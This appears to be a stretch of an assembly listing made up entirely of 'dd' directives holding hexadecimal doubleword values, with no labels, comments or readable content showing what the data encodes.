		dd 5E76540Bh, 28585958h, 0F8947674h, 182860C6h,	0DB26DEEAh
		dd 49833600h, 181C1707h, 8CE40009h, 0D7A6229Dh,	6873622Ah
		dd 258CFE48h, 0C4C44AAh, 819AD4FFh, 0B47992A8h,	7F663F00h
		dd 700C84FCh, 38EF0115h, 30F304A5h, 14068E3h, 0FBB75860h
		dd 8033CD41h, 54FFD103h, 600081FDh, 555C7E89h, 909B22ACh
		dd 0A480AF0h, 2CC849AAh, 30E5582Ch, 0DC51C765h,	0C2FC844h
		dd 0B78B9D01h, 8CFCD024h, 74DF360Eh, 0E05C0EC5h, 0EB9A2DF5h
		dd 0F66E28CCh, 643420BCh, 8400E49Ah, 0DF5CF99h,	186E02D9h
		dd 203555D3h, 0EC008F23h, 0F892DCDh, 696730F0h,	1C8070BBh
		dd 0F30C63D0h, 6204C600h, 3415F460h, 32140095h,	81651C7Eh
		dd 6D14EC26h, 0C675FDh,	3B30EED8h, 5825E5DEh, 83256C8Dh
		dd 3407F402h, 0ECFE2060h, 0B3A59B02h, 0A0A830CEh, 465662A8h
		dd 0DBB50655h, 0C1C389D4h, 8600F090h, 57A42BFEh, 2854FD09h
		dd 1EB0E7E1h, 0C94688Fh, 0D3107910h, 84ED3524h,	8CA29800h
		dd 0BB4EE2h, 6981676Ch,	5330E055h, 4A7548B2h, 0E5015BF0h
		dd 8670EA68h, 707C4Ch, 0F60CECADh, 98EC314Fh, 0E9A60A80h
		dd 0ED08303Ah, 7E3D1F05h, 8C4304CBh, 0C05C8778h, 2AE814h
		dd 94DF4ED1h, 0CC680F3h, 0C354170Ch, 2D35A0EDh,	5C084070h
		dd 22393F0h, 1230E334h,	6A09A058h, 18E0EC51h, 9EE478E8h
		dd 0F4B1645Ch, 4FD1D48h, 0ECFDC090h, 0B9B00593h, 526B76D4h
		dd 8CF810A0h, 0F0931167h, 1EC719D6h, 8CA5540Bh,	0FF1898DCh
		dd 0A9170137h, 0D926B40Dh, 2433F0EDh, 0D31898D9h, 5C2FA820h
		dd 0B71BC6Ch, 0B47AEE69h, 0E46D8400h, 91765AAh,	8E4AB7Fh
		dd 0BE1D001Fh, 549A70DAh, 0DC4B8D6Bh, 250A6C98h, 1480E3F0h
		dd 0A29E8D5Eh, 1E991A12h, 83624C07h, 13EF5734h,	36E45692h
		dd 4A40D874h, 4580B87Fh, 0B17C78B9h, 408349F9h,	2DE8715Dh
		dd 1AD5ABF0h, 0C0120A2Dh, 146690Ch, 0E4D1BE40h,	0EC4ED909h
		dd 0E09C8931h, 3C63E207h, 0E9DB07B0h, 1BE11A76h, 0A0C022E4h
		dd 88C0C558h, 137EEDA3h, 14770FDAh, 0A0EC30CDh,	3C028741h
		dd 7B297535h, 5910C049h, 0C0C0AAD6h, 81FC70h, 0E6E8CEFDh
		dd 0D9AC9B2Ah, 55621A07h, 13C41CF7h, 0E443EC84h, 986509A3h
		dd 0F8144775h, 64A13098h, 88E60811h, 0B305B903h, 0C8AA22A6h
		dd 0F0EB740h, 0D50A130Ch, 3480F09Bh, 714B61FEh,	423638C8h
		dd 805050E1h, 8DC409BDh, 52E00938h, 0D01B49D4h,	134DF301h
		dd 0E1197D6Dh, 1C58C6CEh, 7B506F22h, 0F55800F6h, 1DCDAC7Ch
		dd 0B70951A2h, 61260987h, 72E2B598h, 849200D4h,	0C18055Ah
		dd 172CB803h, 0DE895C43h, 5C14A0CCh, 0EB4AB9Ah,	18293C0Bh
		dd 49A13F42h, 9949440h,	0B0118E26h, 0DB3C9D3Ah,	0C3AE77C0h
		dd 4ED465E1h, 0FC9840F7h, 0ED44CEECh, 305B4A0Bh, 6AFC6070h
		dd 0E1E92E8Ch, 1E27012Dh, 38BA8DA2h, 0FFC903B0h, 1B2FE3Bh
		dd 2783FB10h, 0E0B92076h, 5B02AC95h, 0E5B03617h, 21E1C0A1h
		dd 0CBD87151h, 0C87862C0h, 24541938h, 7A4084D0h, 7A98A0Ah
		dd 5E29A815h, 84D482FAh, 1281F4A1h, 2CF1E0FCh, 158A10C0h
		dd 483B6354h, 53821CDDh, 3066D395h, 9044CC98h, 986FF0A7h
		dd 36B207Ch, 0DDE3E4A1h, 0F880F628h, 1D2ADC88h,	277F0A14h
		dd 0FE6E129Ch, 0A0166C53h, 703C300Fh, 6570A83h,	0A491284Bh
		dd 0F030C705h, 0C4324BD1h, 8048A2F4h, 0A553E133h, 3C98C02Ah
		dd 3A92E8D7h, 0D488F0EFh, 0E04D0D33h, 0C8E4DC7Eh, 58D06134h
		dd 0E059A9A5h, 3D7AD40Bh, 742588C0h, 177E1F47h,	0D2BA3B14h
		dd 0BE013400h, 0D6E11CAAh, 0FEC61180h, 273C8E91h, 0FC003272h
		dd 0F5E6255h, 1311015Dh, 4B2430D4h, 18415F24h, 0C4042AB5h
		dd 50831E7Ch, 67982532h, 86773880h, 28CAB9B4h, 320C8C58h
		dd 90E82037h, 43C12080h, 983FE501h, 0F5097E4Dh,	10D05ECAh
		dd 704393CFh, 403B7BD3h, 2783A830h, 0B85E23EAh,	4B053680h
		dd 26FD052h, 8427C56h, 0D4F096D4h, 0B9322240h, 7B0A9DCCh
		dd 700768E9h, 23518316h, 0D4FD1004h, 54C869CCh,	18FAB7h
		dd 0E2D0EC10h, 8C0DFB1Dh, 0A4706126h, 87E458A6h, 1085F0A0h
		dd 3C22A19Dh, 6C655BAFh, 8198B0C1h, 740202Eh, 0F16194D4h
		dd 0FE05D0F0h, 1325CFCh, 0F2A3B7C7h, 2EC0092Ch,	2E3F0000h
		dd 4123B0EFh, 80080096h, 0B09A411h, 1281862h, 0AD122CFCh
		dd 0C5C61F4h, 0E60E78C7h, 0E713EC18h, 8426E9Fh,	564F489Ah
		dd 0A7B40274h, 18E11236h, 0FA6B0199h, 5A5420h, 3CE08285h
		dd 0EEFB6333h, 80624738h, 0F623C559h, 257C2614h, 24827254h
		dd 8844DA3Bh, 0B7AD6012h, 3C519402h, 3E4213DEh,	8935278Ch
		dd 7A9CC2B0h, 2E042468h, 655F3E98h, 873402B4h, 20F82C84h
		dd 0F881B34Ah, 3FC1F3D2h, 2E6C30h, 166E19AAh, 2ADD5E6Ah
		dd 72EC9800h, 0BB9E2442h, 0A5120087h, 3510949Bh, 0DF27F9D3h
		dd 4F4646Ah, 7CE3207Bh,	2CCE336h, 0AC14DD33h, 771C40D0h
		dd 822240A4h, 370FDE00h
		dd 628F9B4Ch, 10301B69h, 17D4B048h, 423A5CA1h, 3C46D374h
		dd 45FB3440h, 79885754h, 0F739E401h, 63E1EC48h,	12A12AC8h
		dd 0ACC17309h, 5FD11D00h, 18FC6E00h, 0B0E90590h, 0E60F0064h
		dd 53A58514h, 0D3778D8Bh, 0EC1A1200h, 4C21B57Ah, 8F713C58h
		dd 1608D228h, 14390982h, 0C4A4B8ECh, 0D38C88C9h, 0A8663135h
		dd 0AF543803h, 5628094Eh, 0A04435C9h, 1360A89Ch, 7A60D3A5h
		dd 7341E09h, 0DCA4071Bh, 0DA3CC0D6h, 5003744h, 0E884E165h
		dd 0B9924630h, 0DEA1EECh, 11D286h, 39F69888h, 0B820300h
		dd 2CDE75ECh, 0F8DA64D0h, 7220AD4Bh, 0BCD2414Fh, 9F0452A3h
		dd 6D868D0h, 9B30D50h, 0F7C97B67h, 25886879h, 2D191CB9h
		dd 20D39838h, 72E86E60h, 9E3D1FFh, 2454136Fh, 0BB2810D8h
		dd 0DF0994AEh, 0A45B5530h, 38D08A74h, 9D469D54h, 6CC1D413h
		dd 0F93887A2h, 0E8E0A798h, 262E3E11h, 12B806C6h, 0AABC0756h
		dd 0EC1701BCh, 69CC4879h, 3A0BB4A1h, 97516808h,	786C10E2h
		dd 29F8530Ch, 330DBC18h, 298ED37Fh, 0AC2350DDh,	40B52Dh
		dd 0D8B4458Dh, 0FD093826h, 0D114276Ch, 4FE2F83h, 30079910h
		dd 0A238B859h, 0C7284087h, 2F40C0D3h, 0C9D4D578h, 3C445F5Fh
		dd 0E4FD172Ah, 0DF820375h, 3AF1A3B2h, 0FFE875C8h, 0E09C8000h
		dd 0A191141h, 1D41909h,	899960E9h, 0C08CD3D8h, 72E7E13Ch
		dd 624B0026h, 0BFB44076h, 8A00D425h, 2B646ADBh,	3F487A0Ch
		dd 799FF014h, 3CDF52h, 9253E44Dh, 13EAA693h, 73052B00h
		dd 0BCF1D827h, 3244006Ch, 4A26883Ah, 0CD0161CFh, 0D8C0105Fh
		dd 2BE0200Eh, 427852h, 0E825E2E6h, 8B3BD20Ah, 0A5EEDB18h
		dd 0BB0D130h, 250FC2BDh, 3B00258Fh, 1FDE7BFBh, 38989200h
		dd 0EC5913BCh, 0E0E10F52h, 0D0073A2Bh, 0D73C084h, 0D800315Ah
		dd 0DAD136F2h, 304157A7h, 0DF68CD5Dh, 2419D687h, 8310274Ah
		dd 183E95F8h, 0E0366479h, 200E38Eh, 524787E1h, 183F5360h
		dd 30F17A2Bh, 0FC3CBE64h, 591A10C2h, 202E4800h,	2536E2D7h
		dd 0B0DB7C30h, 5B03486h, 18ABBA1Dh, 2B1EC0BDh, 0C33C8820h
		dd 81C2889h, 32D72C00h,	0E637DDE2h, 0FF04260Ah,	0D2CE00E4h
		dd 0BC4777Ch, 0C1617933h, 6DFFE8B9h, 0DA20C1E7h, 0A0D96C7Ah
		dd 68C0C098h, 355B709Fh, 0B5E233DBh, 0E3D80238h, 0A70E8739h
		dd 80CA23B6h, 0B3F21FE8h, 0E9EA0308h, 0E69E7A54h, 0D07B4830h
		dd 0C1D6DAE1h, 1CFFCD10h, 0A1808655h, 30E8C2D8h, 8590ECDEh
		dd 0D10F89D5h, 4179BA26h, 8C9B4384h, 951044C4h,	888099D0h
		dd 360A1264h, 2C82E2D6h, 0C883F28Ch, 0FEF57DBCh, 74E70633h
		dd 1085E4DDh, 0CA49DF8h, 0E1458603h, 3E88AFFh, 0DB808438h
		dd 0E80F8702h, 6C27E52h, 96039A2h, 13C00825h, 0FAAF1C00h
		dd 6200D836h, 0BDF0D1B4h, 9180572Ch, 0B641010Ch, 825603FFh
		dd 0A27AD010h, 92F0806Dh, 7C78E463h, 0E17E1E2Bh, 8D41981h
		dd 4320F039h, 7040FE36h, 3E557D90h, 0DB9C0EA7h,	0B18D2FDh
		dd 6A002778h, 79FB7CACh, 0DF1FC614h, 5F3160B0h,	60E2F95Dh
		dd 3E467003h, 27722520h, 31F40902h, 40704BFFh, 307AD68Ch
		dd 0BE28B866h, 2000BDF5h, 11738418h, 0A085CDDBh, 3770584h
		dd 0ED86FB67h, 2488D922h, 0E8C04476h, 258B1B8Ch, 10346171h
		dd 0F0FD1387h, 737CE2ADh, 181EF730h, 30FFA5D9h,	0ED9593Ah
		dd 2900972Ch, 5EB4E60h,	377CC0h, 0A8526EBDh, 0FD1B9810h
		dd 0E2B5870Ah, 3D00AC55h, 0E5ECD6AAh, 4C20E43Fh, 0EC501236h
		dd 5D87150Dh, 8F80C0E1h, 61C41E89h, 541327ECh, 7610DB88h
		dd 250506ACh, 24280CA4h, 92C4C15Dh, 592420C2h, 0DB14C040h
		dd 806AF3h, 0C227CE0Fh,	32543BE0h, 0C440891Eh, 0D183DF00h
		dd 907BCEh, 23C63DC3h, 488565Fh, 88574Ch, 0E2DCF501h, 0FADCBD4h
		dd 56E928C0h, 0F0468407h, 4CD76F0Fh, 0F1DB871Eh, 0A40A7030h
		dd 0D961C07Dh, 28CF361Ah, 13CBE0Eh, 25FD874Dh, 8E20A029h
		dd 0D2C90h, 4A573FF0h, 0D3CFC75Eh, 5BD8E203h, 332BC1Bh
		dd 0EAF68718h, 0D4E0E116h, 0E94C6514h, 43831E14h, 824038A4h
		dd 500EE2A5h, 24FFE085h, 8C8614h, 360AD8D5h, 0AE7CDACCh
		dd 18DE3833h, 4E291882h, 1FBC4050h, 0A56DEE04h,	8B82C3BDh
		dd 43088777h, 2EAE9700h, 0B218C069h, 7C5B381Ah,	4D86D815h
		dd 3E0ED6E0h, 3CF10561h, 0F5671C80h, 791B0865h,	0E600787Dh
		dd 775EDBEAh, 0BD273F1Fh, 5F258A04h, 0E210C0D2h, 0FF042FD9h
		dd 5AD7D57Fh, 0F31A0081h, 3125B050h, 32948003h,	11F85D54h
		dd 927CBB40h, 28553F28h, 6F84624h, 78012FFCh, 12FAA614h
		dd 543F0198h, 0EB35DB8Ch, 0BBC1424h, 2C3A856Bh,	0DACF1820h
		dd 7F4357A1h, 3D208120h, 28D9619Ah, 805BEE25h, 93378910h
		dd 7C434213h, 0EDBE2A11h, 3BD95888h, 5FFAF30Ch,	0F7410DD1h
		dd 0E0503FD5h, 92C223D1h, 0E2CE0968h, 0B083DCDAh, 7AB8BD87h
		dd 0C09242A7h, 74FFE0C2h, 0C904617Bh, 3F54F0FFh, 97F8002Ch
		dd 9B4E5C21h, 5F0A8B4Ah, 0A774E4D8h, 0FCC93A0Ah, 268F8038h
		dd 0E5B8B9C8h, 6F7B0310h, 62548643h, 0DCA9FFC8h, 8160CE4Ch
		dd 83E2D506h, 0E840B022h, 15C47432h, 0AC12791Eh, 3954E01h
		dd 0CCCF1ABCh, 2270E320h, 0FF33F70Fh, 8650D95Ch, 89D00200h
		dd 6D913500h, 4D1DED5Eh, 9C414C7Ch, 0CCA844h, 466269F9h
		dd 4CE93543h, 1ABE6C00h, 212D08F1h, 84D90002h, 2C0B1D0Ah
		dd 0F909CF07h, 8286197Ah, 4C6201B4h, 95FF1804h,	0DAA180FBh
		dd 7336EA00h, 3C751A0Ch, 0C8DB176Ch, 7D4C4190h,	0A40FBCDAh
		dd 79083439h, 88610077h, 0EEE34357h, 1410023Eh,	0F88ECA4h
		dd 20E0D296h, 897ED74Fh, 25950C1Bh, 0DB38EBAAh,	92D870C0h
		dd 0C21A338Bh, 6C9CFF56h, 0CBB6E068h, 0F6F10117h, 0B01D780Ah
		dd 5540B821h, 0B93E5D7Dh, 64583B84h, 2314332Ch,	0B149214h
		dd 7005B178h, 0EB806EFh, 0BDE8D08Bh, 0C21D20h, 4D98C664h
		dd 0B8DC267Fh, 0C01880A8h, 28A460B3h, 0D1619119h, 0DC304C31h
		dd 92EB1708h, 30731604h, 0BDE85F0Ch, 7D28F09h, 415C8045h
		dd 6495C55h, 73D9B235h,	14935087h, 22DB909h, 43D71A0h
		dd 85808C2Ah, 100444B2h, 37F57ACDh, 2C23480h, 516309AAh
		dd 9C89A409h, 0BE79B418h, 0FEBC3316h, 14C8C08h,	182534C1h
		dd 0DB2C6423h, 0F0842130h, 0B1A657h, 5BB727F7h,	62EC804Eh
		dd 849499C9h, 5D0AB028h, 0FF3E028Ch, 2440A740h,	0C10A4BE7h
		dd 5875BDB1h, 0E40C4616h, 1C564632h, 9C7CA411h,	852E3AF9h
		dd 0FDF38854h, 0BF469C2Ch, 5018F840h, 0A2EDB079h, 2A54C9D8h
		dd 3AAC38A4h, 0DBC5CC02h, 0B48F6097h, 9C7425E3h, 0F4D77828h
		dd 30A6CDF1h, 4A35F99Ch, 40091C2h, 25072B8Eh, 44184D89h
		dd 0A580883Fh, 52E9E336h, 0F45CD593h, 200737CCh, 803FB457h
		dd 0D9FDE398h, 7CB900E2h, 9F5B8DDh, 6C001F7Bh, 0CC629C16h
		dd 0C9F6C4FFh, 2C00BED0h, 437B850Ch, 142022FFh,	809073BCh
		dd 88202648h, 1FCE037Bh, 40365263h, 0D72880A4h,	0D62482E0h
		dd 2639548Ah, 3808E820h, 2A7AC28Bh, 218468C9h, 0F2DAE00Ch
		dd 900B11D2h, 16200509h, 647564D5h, 40074482h, 9C0418h
		dd 0E743890Dh, 634C5BDCh, 0BB00FD7Fh, 29A1D145h, 3DF87D57h
		dd 0DA01D89Ch, 733D0FBFh, 0CCC47179h, 2C900CF9h, 2581CE04h
		dd 0E103E64Fh, 56E1A6D7h, 5F8C7040h, 609D5580h,	2F79409Eh
		dd 7A3F2CD7h, 78AC073h,	0C25B1FD1h, 0C4039057h,	2200ABFDh
		dd 0E2C8D8A7h
		dd 185155D7h, 0F8274089h, 79010B38h, 0FA1C2802h, 0A0475ABAh
		dd 37689593h, 82F04450h, 0B880E7CBh, 0AF202E13h, 0D813FCB0h
		dd 3C0A8D5Ah, 7A80CC5Bh, 0F86ADB46h, 0CC8F00C3h, 12C6D929h
		dd 1D00FFBFh, 0DB39BCF0h, 0CA654E3h, 0F27D2573h, 0B4B9DDE9h
		dd 2ABDF882h, 34D8825Fh, 24B890B0h, 48A84817h, 0DABDA00h
		dd 390602BDh, 43A40400h, 0E283EB97h, 55251822h,	79FE5849h
		dd 12D4D658h, 7C8832D3h, 0C3D896D9h, 94F2DB92h,	0A4136C50h
		dd 652CF5h, 0C1BCCD81h,	32D6A440h, 1ACB806h, 0FF8F6A31h
		dd 0D0D9DA92h, 1C90A6D8h, 11804C4Ch, 7958AEA1h,	0C30ADB12h
		dd 0D8D47320h, 0D50C9A48h, 0A13A7F7Ah, 6A251A90h, 0B429207Bh
		dd 4F7CD4A2h, 254EE440h, 84800298h, 0FF1A8461h,	0AF78BD8Ch
		dd 0DA910474h, 282708D9h, 404A8844h, 415D3171h,	3D1C1474h
		dd 7B7C59B4h, 0D096967Ch, 0AF079C3h, 22B8A358h,	0CFA0B090h
		dd 4F4D8F7Ah, 5F80EA4h,	1B07F7E4h, 55E33792h, 0D8C3D081h
		dd 3AF006Ch, 4C826EBDh,	7B03D4F4h, 0D27AD9FFh, 26680EE1h
		dd 22963F9Dh, 0B4C2321Ch, 54BC50C9h, 435C0C64h,	0E4AB60D0h
		dd 8817A230h, 4F88Eh, 861A4E1h,	67FFFDB6h, 59189F5Dh, 52184CE4h
		dd 0E9C51070h, 3EF78E03h, 7B88DB24h, 800C17Ah, 0A04EED6Eh
		dd 9BC63E7h, 0CE9D37FFh, 0CA7A0090h, 5361FD01h,	0D1DFE0D9h
		dd 0E918C032h, 1C3C28D6h, 0C5AD3117h, 7D3F3902h, 27D04078h
		dd 5D401EFCh, 0B1DEA8h,	9047D17Fh, 0B601BA56h, 11DC010Dh
		dd 28055Fh, 7D5AA900h, 830E3340h, 0E782209Eh, 4039D110h
		dd 166B9B68h, 12BA769Eh, 0CA24098Ch, 0C06C1405h, 0C0DCD580h
		dd 1018274Ch, 0E60E4491h, 0B820DAE8h, 306B3D10h, 5F520898h
		dd 4DC010A8h, 192A3E58h, 4518A8CCh, 176890EEh, 30FE057Ah
		dd 294FFECh, 6F243CB0h,	0D70068D9h, 7ED4AC6Bh, 0DAFD28F9h
		dd 7AA617B4h, 5F30211Bh, 0C6C83C3Eh, 488032BAh,	401860DFh
		dd 8DCC08D7h, 9F6C28EFh, 623DFC29h, 5A5ED820h, 212512DCh
		dd 0FC052A8h, 41F28D28h, 8433D764h, 791C2011h, 0E053B034h
		dd 0B537AC80h, 50354896h, 4A02613Ah, 0BE40DBA3h, 80850C68h
		dd 48954326h, 24E4944Fh, 0DB055459h, 90532BEFh,	0F77BB400h
		dd 5724D3h, 83F83610h, 8F8D3EF9h, 9528E877h, 0CD00D812h
		dd 0B2EAB4AEh, 9BD73DDh, 1E373814h, 71E16C00h, 0E00CF0B6h
		dd 0D82F9524h, 0A01C9926h, 2C84FCDCh, 2E8EED8h,	11C01027h
		dd 0DB8818E0h, 0B8C1DFE8h, 0BEB9FCA8h, 28A87861h, 0A65F3D7Ch
		dd 9084B12Ch, 102C483Bh, 97EAE28h, 33275281h, 0F67A28E1h
		dd 0FF3D50C8h, 0D0B30D2Ch, 732F0F6Fh, 0FEF30C44h, 7AC00053h
		dd 0BD2C61F0h, 0B832D596h, 102C51C7h, 0C2817824h, 25068807h
		dd 3C49F193h, 0D43010B7h, 0EC8C9259h, 0E4C3CB00h, 908B4EE9h
		dd 24B43007h, 0A8E25A10h, 96FEA31Dh, 0E078FF49h, 497AD3B4h
		dd 352E3C0Dh, 13C00BDBh, 0A0AF1884h, 44B4E2A4h,	390A5CC4h
		dd 296F428Ch, 53E054C8h, 18BDC900h, 5F514257h, 962F478h
		dd 759AFFCFh, 0D1D87C06h, 0F47A980Ch, 5A7B58F2h, 0A0786526h
		dd 1A058C58h, 0FFF105BAh, 50920FC4h, 252CE1A5h,	446321D9h
		dd 0FA2A3078h, 86C78C10h, 5C09B478h, 4CAD870Fh,	308E4B80h
		dd 0C06767Ch, 7AC8C50Bh, 27EC2126h, 52CD2505h, 0DB8A3083h
		dd 0A5E42BCAh, 2100344Ch, 0ECE0A600h, 0EDFA1319h, 0A408C41Eh
		dd 2490A358h, 5D0B2C33h, 0E67402E8h, 54E901FEh,	0DC78E38Eh
		dd 483C2CB1h, 0D710605Dh, 50317A49h, 584E88C1h,	6DC4F499h
		dd 9FB0BC9h, 0E164EBE0h, 0B19A03DEh, 88D0187Dh,	0B89EE8B8h
		dd 8172DB0Dh, 267A2DF8h, 8B600A22h, 14C4C3A8h, 5B1BDB18h
		dd 0EA229770h, 116730A6h, 7C850910h, 23B5DB51h,	5D331820h
		dd 0A0964308h, 0D2E0D454h, 88688498h, 25107160h, 0DB280113h
		dd 0E1D80090h, 1F3C3781h, 6F010534h, 565A3354h,	4FD0B46Bh
		dd 0FD4E0087h, 0EC816379h, 0D100E157h, 29078468h, 10962652h
		dd 93CD4DBh, 0C6906A7Ah, 88760A4h, 437E850Bh, 94229B4Ah
		dd 34E01A1Eh, 4892E58Dh, 0DD25FB38h, 0EA6B16C0h, 0E9CB1043h
		dd 57083F53h, 1DC70480h, 0FBA6112h, 1428BD54h, 0E096B181h
		dd 458417EFh, 0D35A4FB0h, 10C408E4h, 0F87B17B8h, 404476h
		dd 179F425h, 0F7E34397h, 1FEEAC13h, 1330C000h, 0FC078EC5h
		dd 4E5D0021h, 83B998E3h, 7A1C3D20h, 0FED2FF2Fh,	9057D488h
		dd 0D0308130h, 0AC8CB820h, 19E80D8h, 0FF89A77h,	0D9AAD3E1h
		dd 0DD18BEDCh, 9332182Ch, 76C018A3h, 0A848D6DBh, 0CE33C960h
		dd 555741A4h, 2500B0BCh, 181DE026h, 0EA3CDB80h,	2EFFE768h
		dd 4CCCD8CBh, 0DA0AD328h, 202857A5h, 25869C24h,	44107D65h
		dd 0E2408F63h, 7BA43CE4h, 9CE9D535h, 0B8B49AD0h, 0B37AFD06h
		dd 57360019h, 4A269229h, 960791FFh, 50990B2Bh, 908C5877h
		dd 7278BCh, 0C394C81Eh,	0C7AD5A0h, 0FD4D94A8h, 92915503h
		dd 0ED3024DBh, 0FFBDB041h, 408DB931h, 20D063D7h, 0F3406C78h
		dd 0A2740128h, 0CB0281E2h, 2592F854h, 8E8CB054h, 0BDFC7B0Ah
		dd 4E42D81Bh, 1038D9E4h, 0C92509ADh, 900482D9h,	8944F07Bh
		dd 2408FD18h, 100DD72Ch, 259E9481h, 1080F6FAh, 1FDE7990h
		dd 0D8A782E1h, 0ED8F983Fh, 0D6D72618h, 129C0621h, 910420E4h
		dd 0D9CEA931h, 4FFAF0C1h, 12323880h, 0EF85F743h, 336DDF00h
		dd 7B093B0Ah, 4E2F012Bh, 42DB9CACh, 0D1C20DAh, 481C1D3Ah
		dd 78790B48h, 84E020DFh, 38D342D5h, 0A4D13FFFh,	0B26D827Bh
		dd 24B5868h, 26202DE9h,	0FF410090h, 0A205C384h,	7B798290h
		dd 78A890C7h, 64F78B0h,	0B7DB7084h, 0A8B4909Fh,	8148B2C9h
		dd 0A785DBD1h, 25062882h, 902F506Dh, 10D2EC94h,	21D29CF8h
		dd 9E259DC0h, 38A40E10h, 0A9C7B800h, 3C770521h,	0F980F2E8h
		dd 0BCD8D922h, 0C2146A80h, 0E841FEh, 232A4ABBh,	18D478BDh
		dd 185AFA6Ch, 2E244F7Fh, 2200002Dh, 0E31D24EEh,	0BED7008Ah
		dd 0F79AD0AAh, 4C32FF0Eh, 60858873h, 0D20208h, 2E3A6F23h
		dd 1AE443FBh, 13F15700h, 0FF307185h, 0B05ED5h, 0B3A3E164h
		dd 2609223Ah, 4961A5C0h, 0E0809E74h, 25023621h,	0EC9AFC38h
		dd 0CC40FA4Bh, 5FF943C1h, 423C4B0Dh, 8EF879B0h,	8078C80h
		dd 0E89C9525h, 0CE556300h, 0C1EB8998h, 0C4DBC828h, 21BC6526h
		dd 27582694h, 475C9082h, 20B0909Ah, 91008DDCh, 4E08328Fh
		dd 0FE17695h, 732565B9h, 1F6C5930h, 786E45EDh, 4024799Eh
		dd 0A87C650Ch, 0E796038Ah, 59FF1539h, 788400B5h, 0AE18359Ch
		dd 18A7123Eh, 1C885467h, 0DEE0083h, 0C69329CCh,	0E63E6201h
		dd 0DB8C0519h, 38E6C130h, 34B42408h, 0AA3E8304h, 0B21BA8CCh
		dd 609FE6E8h, 89D78869h, 0C80A747Ch, 0E004C3FFh, 3701F42Bh
		dd 0E3F8DA94h, 0DBF081F6h, 542BDEC7h, 85C06438h, 60653E19h
		dd 0E242D70Ah, 0A0008DDh, 9C41CBFh, 17ED7D3Bh, 89D4DAD6h
		dd 0CC02680h, 98399279h, 5427069Ah, 1174217Ah, 0B0750700h
		dd 92E2AAEEh, 1FC626D5h, 5ABBD0h, 5B27CD34h, 5C1EE6DCh
		dd 914287CEh, 48D1C0DBh, 0E23E41BCh, 62C600F9h,	63D73DCh
		dd 13485CDBh, 0C829CAA0h, 0A30BA610h, 0C2C2BBFh, 320074B0h
		dd 0B50B442Fh, 92266E7h, 0D4981E56h, 0F82B48Fh,	286104A9h
		dd 7FBC00D1h, 563C058Ch, 4138DB82h, 85E0ADD4h, 9040DAF0h
		dd 6B097A9Eh, 45E5E3AFh, 0E1791724h, 0E0184043h, 3317110Ah
		dd 741AA7D7h
		dd 9A4C1B1h, 897DC307h,	93E19CC1h, 0D037AF68h, 0DB437F14h
		dd 2011BD88h, 84093EAAh, 0C800361Eh, 0CAD1CEECh, 20487975h
		dd 0B311D98h, 6F3E05C0h, 7ED6D9EBh, 0E1F40073h,	0A9323D5h
		dd 9C983AD1h, 0F1D45F0Fh, 0AD782052h, 0FA0EF91h, 2472DBB9h
		dd 252814ACh, 5A71A800h, 0D9E81AAEh, 70D50641h,	20077E24h
		dd 8EDA843Dh, 0A1CC60E0h, 226C8C85h, 737F6C0h, 0E1B4092Fh
		dd 0E560932Dh, 0A3BF07AFh, 58E03BF8h, 5200F50Bh, 0C3CF5C19h
		dd 500CFE1Eh, 7E3ECA0h,	0BC0E2B0Ah, 6368DC1Ah, 1F254700h
		dd 0A135E1D6h, 7BA2076Bh, 4131E3A3h, 0E0E04C84h, 0DA00C4CBh
		dd 0CC6354E6h, 0FBF0787h, 923FE69h, 1FE8D001h, 6173F0FBh
		dd 86038D7Ah, 0A6FEE044h, 0CF780685h, 70FD9D79h, 83013200h
		dd 0D3964510h, 0FEB80CD8h, 0A0288B69h, 73DA900Ch, 3A566837h
		dd 0A8605C27h, 7535F1D8h, 0B4C0AF01h, 0FB661A9h, 131870h
		dd 78BA1D19h, 81E01ED5h, 0CC6880E9h, 0C479CD07h, 33E0A03Dh
		dd 0C7D2E0FEh, 0ACFDA268h, 35581959h, 21B6008Ah, 0AC309C0Fh
		dd 5C5F00E9h, 2806EC0Eh, 19032556h, 9316A781h, 1D84A87Ah
		dd 240F1C35h, 0FD48F077h, 1E0FDD78h, 83F87A8Ah,	0E1D0A4D9h
		dd 0A1E59190h, 5E54060h, 33DA773Bh, 7BEC03C9h, 22C10D1Ch
		dd 6108088h, 0B1381274h, 4F7918ADh, 944CB85Ch, 0D8E0681Fh
		dd 0FE2DCCC0h, 19DD2851h, 3886E1DAh, 308BDD92h,	57EEB91h
		dd 5A209613h, 0BF1E0EE8h, 88D03BDAh, 7B843C08h,	10126518h
		dd 0BC78F726h, 5810FAD8h, 84E10052h, 9FF57AACh,	7918395Eh
		dd 2880796h, 372D0156h,	2012D65Ah, 0FF23C4DBh, 628040E1h
		dd 970A35F9h, 0C089AF79h, 7F542B00h, 6BC6A55Ch,	3A056039h
		dd 83C009F5h, 45FE2C07h, 0BBF00048h, 6D14ED6Ah,	8BD49114h
		dd 53D000ECh, 0FDA9692h, 5EE8C084h, 9912864Ch, 0E1AC3A00h
		dd 0C11CBE0Eh, 9C232979h, 768F092Ch, 0EB3A4C01h, 99D7E309h
		dd 0C1D73020h, 7474BC35h, 45508092h, 0E0A98FDCh, 212021DEh
		dd 4D1000A0h, 917D2896h, 79BC300Eh, 67B10EF1h, 21858EC2h
		dd 0FE420805h, 44801415h, 0CEF83180h, 0D280EB60h, 0A01762F8h
		dd 5099A5A8h, 505C8C11h, 4016D41Fh, 44019053h, 7BCECAF3h
		dd 24C0C773h, 904E67E5h, 400926FBh, 1ECD4500h, 86351162h
		dd 2438A05Ch, 98FD509Ch, 9A1729FEh, 8C069F8Ch, 0B048E3BDh
		dd 0EC72A500h, 0EBD0271Fh, 0DCC35479h, 57FE182Ah, 8DD338BEh
		dd 18E7DA24h, 4CBA7985h, 7083D80Ch, 5D5B155Eh, 0A53894C0h
		dd 90D4C8AAh, 0F67A2810h, 1BA48490h, 483FAC33h,	0DB3E23C1h
		dd 0C8D21828h, 0E379D708h, 0DA0500FFh, 66F3B250h, 966EE800h
		dd 8141555Ch, 6DBC0009h, 0AB7B67A4h, 0C8038AD4h, 8DF1D6E1h
		dd 2350A780h, 903485h, 159F5BA6h, 63EF73BCh, 320095E8h
		dd 0F2F162AEh, 0C413E48Bh, 1B76DE8h, 984283CEh,	73BD5040h
		dd 0A5FE13C1h, 139C52A2h, 0E6000104h, 0D4A3372Bh, 0B0CEFECFh
		dd 858842Ch, 0FAD73880h, 3E44987Ah, 50194D33h, 203940E3h
		dd 0C8905C58h, 34FD4228h, 3A4833Eh, 0DA91225Eh,	79190A78h
		dd 8C1040BBh, 5608860Fh, 80887F4Ch, 79691D25h, 8B1A00A6h
